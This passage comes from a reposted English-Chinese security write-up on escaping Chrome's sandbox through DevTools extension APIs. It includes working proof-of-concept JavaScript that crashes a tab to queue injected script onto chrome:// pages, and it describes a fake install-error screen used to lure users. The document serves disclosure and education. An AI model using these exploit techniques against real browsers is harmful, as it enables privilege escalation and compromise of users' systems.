  }, 0);  
}

async function main() {
  //start the interval to inject the content script
  start_interval();

  //navigate the inspected page to chrome://policy
  let tab = await chrome.tabs.get(chrome.devtools.inspectedWindow.tabId);
  await chrome.tabs.update(tab.id, {url: "chrome://policy"});

  //if this times out we need to retry or abort
  await new Promise((resolve) => {setTimeout(resolve, 1000)});
  let new_tab = await chrome.tabs.get(tab.id);

  //if we're on the policy page, the content script didn't get injected
  if (new_tab.url.startsWith("chrome://policy")) {
    //navigate back to the original page
    await chrome.tabs.update(tab.id, {url: tab.url});

    //discarding and reloading the tab will close devtools
    setTimeout(() => {
      chrome.tabs.discard(tab.id);
    }, 100)
  }

  //we're still on the original page, so reload the extension frame to retry
  else {
    location.reload();
  }
}

main();

And with that, I was ready to write the bug report. I finalized the script, wrote an explanation of the bug, tested it on multiple operating systems, and sent it in to Google.
就这样,我准备编写错误报告。我完成了脚本,写了错误解释,在多个操作系统上对其进行了测试,并将其发送给 Google。

At this point however, there was still a glaring problem: The race condition with .inspectedWindow.reload() was not very reliable. I managed to tweak it so that it worked about 70% of the time, but that still wasn’t enough. While the fact that it worked at all definitely made it a serious vulnerability regardless, the unreliability would have reduced the severity by quite a bit. So then I got to work trying to find a better way.
然而,此时仍然存在一个明显的问题:.inspectedWindow.reload() 的争用条件不是很可靠。我设法对其进行了调整,使其在大约 70% 的时间内有效,但这仍然不够。虽然它完全有效的事实绝对使它成为一个严重的漏洞,但不可靠性会大大降低严重性。所以,我开始努力寻找更好的方法。

A Familiar Approach 熟悉的方法

Remember how I mentioned that in David Erceg’s bug report, he utilized the fact that debugger requests persist after the tab crashes? I wondered if this exact method worked for inspectedWindow.reload() too, so I tested it. I also messed with the debugger statement, and it appeared that triggering the debugger twice in a row caused the tab to crash.
还记得我在 David Erceg 的错误报告中提到过,他利用了 Debugger 请求在选项卡崩溃后仍然存在的事实吗?我想知道这个确切的方法是否也适用于 inspectedWindow.reload(),所以我测试了它。我还弄乱了 debugger 语句,似乎连续两次触发 debugger 会导致选项卡崩溃。

So I got to work writing a new POC:
所以我开始编写一个新的 POC:

let tab_id = chrome.devtools.inspectedWindow.tabId;

//function which injects the content script into the inspected page
function inject_script() {
  chrome.devtools.inspectedWindow.reload({"injectedScript": `
    //check the origin, so that the debugger is triggered instead if we are not on a chrome page
    if (!origin.startsWith("chrome://")) {
      debugger;
      return;
    }

    alert("hello from chrome.devtools.inspectedWindow.reload");`
  });
}

function sleep(ms) {
  return new Promise((resolve) => {setTimeout(resolve, ms)})
}

async function main() {
  //we have to reset the tab's origin here so that we don't crash our own extension process
  //this navigates to example.org which changes the tab's origin
  await chrome.tabs.update(tab_id, {url: "https://example.org/"});
  await sleep(500);
  //navigate to about:blank from within the example.org page which keeps the same origin
  chrome.devtools.inspectedWindow.reload({"injectedScript": `
      location.href = "about:blank";
    ` 
  })
  await sleep(500);

  inject_script(); //pause the current tab
  inject_script(); //calling this again crashes the tab and queues up our javascript
  await sleep(500);
  chrome.tabs.update(tab_id, {url: "chrome://settings"});
}

main();

And it works! This nice part about this approach is that it eliminates the need for a race condition and makes the exploit 100% reliable. Then, I uploaded the new POC, with all of the chrome://policy stuff, to a comment on the bug report thread.
而且它奏效了!这种方法的一个很好的部分是,它消除了对竞争条件的需求,并使漏洞利用 100% 可靠。然后,我将新的 POC 以及所有 chrome://policy 内容上传到错误报告线程上的评论中。

But why would this exact oversight still exist even though it should have been patched 4 years ago? We can figure out why by looking at how that previous bug was patched. Google’s fix was to clear all the pending debugger requests after the tab crashes, which seems like a sensible approach:
但是,为什么这种确切的疏忽仍然存在,即使它应该在 4 年前就被修补了呢?我们可以通过查看之前的 bug 是如何修补来弄清楚原因的。Google 的解决方法是在 Tab 键崩溃后清除所有待处理的调试器请求,这似乎是一个明智的方法:

void DevToolsSession::ClearPendingMessages(bool did_crash) {
  for (auto it = pending_messages_.begin(); it != pending_messages_.end();) {
    const PendingMessage& message = *it;
    if (SpanEquals(crdtp::SpanFrom("Page.reload"),
                   crdtp::SpanFrom(message.method))) {
      ++it;
      continue;
    }
    // Send error to the client and remove the message from pending.
    std::string error_message =
        did_crash ? kTargetCrashedMessage : kTargetClosedMessage;
    SendProtocolResponse(
        message.call_id,
        crdtp::CreateErrorResponse(
            message.call_id,
            crdtp::DispatchResponse::ServerError(error_message)));
    waiting_for_response_.erase(message.call_id);
    it = pending_messages_.erase(it);
  }
}

You may notice that it seems to contain an exception for the Page.reload requests so that they are not cleared. Internally, the inspectedWindow.reload() API sends a Page.reload request, so as a result the inspectedWindow.reload() API calls are exempted from this patch. Google really patched this bug, then added an exception to it which made the bug possible again. I guess they didn’t realize that Page.reload could also run scripts.
您可能会注意到,它似乎包含 Page.reload 请求的异常,因此它们不会被清除。在内部,inspectedWindow.reload() API 发送 Page.reload 请求,因此 inspectedWindow.reload() API 调用不受此修补程序的约束。Google 确实修补了这个错误,然后向它添加了一个例外,这使得这个错误再次成为可能。我猜他们没有意识到 Page.reload 也可以运行脚本。

Another mystery is why the page crashes when the debugger statement is run twice. I’m still not completely sure about this one, but I think I narrowed it down to a function within Chromium’s renderer code. It’s specifically happens when Chromium checks the navigation state, and when it encounters an unexpected state, it crashes. This state gets messed up when RenderFrameImpl::SynchronouslyCommitAboutBlankForBug778318 is called (yet another side effect of treating about:blank specially). Of course, any kind of crash works, such as with [...new Array(2**31)], which causes the tab to run out of memory. However, the debugger crash is much faster to trigger so that’s what I used in my final POC.
另一个谜团是为什么当 debugger 语句运行两次时页面会崩溃。我仍然不完全确定这一点,但我想我把它缩小到 Chromium 渲染器代码中的一个函数。当 Chromium 检查导航状态时,会特别发生这种情况,当它遇到意外状态时,它会崩溃。当调用 RenderFrameImpl::SynchronouslyCommitAboutBlankForBug778318 时,此状态会变得混乱(这是专门处理 about:blank 的另一个副作用)。当然,任何类型的崩溃都有效,例如使用 [...new Array(2**31)] 的 Array 调用,这会导致 Tab 键耗尽内存。但是,调试器崩溃的触发速度要快得多,因此我在最终 POC 中使用了它。

Anyways, here’s what the exploit looks like in action:
无论如何,以下是漏洞利用的实际情况:

By the way, you might have noticed the “extension install error” screen that is shown. That’s just to trick the user into opening devtools, which triggers the chain leading to the sandbox escape.
顺便说一句,您可能已经注意到显示的“扩展安装错误”屏幕。这只是为了诱骗用户打开 devtools,这会触发导致沙箱逃逸的链。

Google’s Response Google 的回应

After I reported the vulnerability, Google quickly confirmed it and classified it as P1/S1, which means high priority and high severity. Over the next few weeks, the following fixes were implemented:
在我报告漏洞后,Google 迅速确认并归类为 P1/S1,即高优先级和高严重性。在接下来的几周内,实施了以下修复:

Eventually, the vulnerability involving the race condition was assigned CVE-2024-5836, with a CVSS severity score of 8.8 (High). The vulnerability involving crashing the inspected page was assigned CVE-2024-6778, also with a severity score of 8.8.
最终,涉及争用条件的漏洞被分配为 CVE-2024-5836,CVSS 严重性评分为 8.8(高)。涉及崩溃被检查页面的漏洞被分配了 CVE-2024-6778,严重性评分也为 8.8。

Once everything was fixed and merged into the various release branches, the VRP panel reviewed the bug report and determined the reward. I received $20,000 for finding this vulnerability!
一旦所有问题都得到修复并合并到各个发布分支中,VRP 小组就会审查错误报告并确定奖励。我因发现此漏洞而收到了 20000 USD!

Escaping the Chrome Sandbox Through DevTools

Escaping the Chrome Sandbox Through DevTools

Timeline 时间线

  • April 16 – I discovered the test policies bug
    4 月 16 日 – 我发现了测试策略错误
  • April 29 – I found the inspectedWindow.reload() bug involving the race condition
    4 月 29 日 – 我发现了涉及争用条件的 inspectedWindow.reload() 错误
  • May 1 – I sent the bug report to Google
    5 月 1 日 – 我向 Google 发送了错误报告
  • May 4 – Google classified it as P1/S1
    5 月 4 日 – Google 将其归类为 P1/S1
  • May 5 – I found the bug involving crashing the inspected page, and updated my report
    5 月 5 日 – 我发现了导致已检查页面崩溃的错误,并更新了我的报告
  • May 6 – Google asked me to file separate bug reports for every part of the chain
    5 月 6 日 – Google 要求我为链的每个部分单独提交 bug 报告
  • July 8 – The bug report is marked as fixed
    7 月 8 日 – 错误报告被标记为已修复
  • July 13 – The report is sent to the Chrome VRP panel to determine a reward
    7 月 13 日 – 系统会将报告发送到 Chrome VRP 面板以确定奖励
  • July 17 – The VRP panel decided the reward amount to be $20,000
    7 月 17 日 – VRP 小组决定奖励金额为 20,000 美元
  • October 15 – The entire bug report became public
    10 月 15 日 – 整个 bug 报告公开

Conclusion 结论

I guess the main takeaway from all of this is that if you look in the right places, the simplest mistakes can be compounded upon each other to result in a vulnerability with surprisingly high severity. You also can’t trust that very old code will remain safe after many years, considering that the inspectedWindow.reload bug actually works as far back as Chrome v45. Additionally, it isn’t a good idea to ship completely undocumented, incomplete, and insecure features to everyone, as was the case with the policy test page bug. Finally, when fixing a vulnerability, you should check to see if similar bugs are possible and try to fix those as well.
我想从这一切中得出的主要结论是,如果你看对了地方,最简单的错误可能会相互叠加,导致漏洞的严重性出乎意料地高。您也不能相信非常旧的代码在多年后仍然安全,因为 inspectedWindow.reload 错误实际上可以追溯到 Chrome v45。此外,向所有人发布完全未记录、不完整和不安全的功能并不是一个好主意,就像策略测试页面错误一样。最后,在修复漏洞时,您应该检查是否存在类似的错误,并尝试修复这些错误。

You may find the original bug report here: crbug.com/338248595
您可以在此处找到原始错误报告:crbug.com/338248595

I’ve also put the POCs for each part of the vulnerability in a Github repo.
我还将漏洞每个部分的 POC 放在 Github 存储库中。

原文始发于ading2210Escaping the Chrome Sandbox Through DevTools

版权声明:admin 发表于 2024年10月19日 上午10:24。
转载请注明:Escaping the Chrome Sandbox Through DevTools | CTF导航

相关文章